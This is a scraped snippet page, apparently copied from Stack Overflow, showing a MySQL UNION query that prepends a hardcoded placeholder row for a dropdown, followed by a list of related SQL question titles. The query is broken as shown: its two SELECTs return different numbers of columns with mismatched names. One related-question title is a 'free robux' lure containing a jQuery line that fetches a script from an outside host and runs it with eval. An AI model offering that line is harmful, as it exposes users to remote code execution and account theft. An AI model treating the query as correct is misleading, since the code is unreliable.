/SQL/Provide hardcoded value in the mysql query

Provide hardcoded value in the mysql query

SELECT "" as Serial,
   "" as Object_ID,
   "" as ObjectDEsc,
   "" as Object_Num,
   "--(UNKNOWN -- )" as DropList
UNION
 SELECT CAST(p.Serial AS UNSIGNED INTEGER) as Serial, 
  p.Object_ID, 
  p.Part_ID, 
  st.Description AS ObjectDesc, 
  s.Object_Num, 
  concat(Serial,' (',st.Desc,' #',s.Object_Num,')') as DropList 
 FROM Parts p LEFT JOIN Objects s ON p.Object_ID = s.Object_ID 
 LEFT JOIN ObjectTypes st ON s.ObjectType_ID = st.ObjectType_ID

Source: stackoverflow.com

Similar codes

0 vote316 views1 answer
Sql server list table sizes
SQL
0 vote346 views1 answer
PostgreSQL types and C# types
SQL
0 vote340 views1 answer
Having all mysql
SQL
50 votes381 views6 answers
Sql duplicate rows
SQL
0 vote314 views1 answer
Mysql match in serialized data
SQL
1 vote272 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
0 vote298 views1 answer
Number(10 2) in sql means
SQL
0 vote300 views1 answer
Get number of rows in every table mysql
SQL
1 vote313 views1 answer
Tsql get beginning of year
SQL
0 vote292 views1 answer
List MySQL Table and Index Size
SQL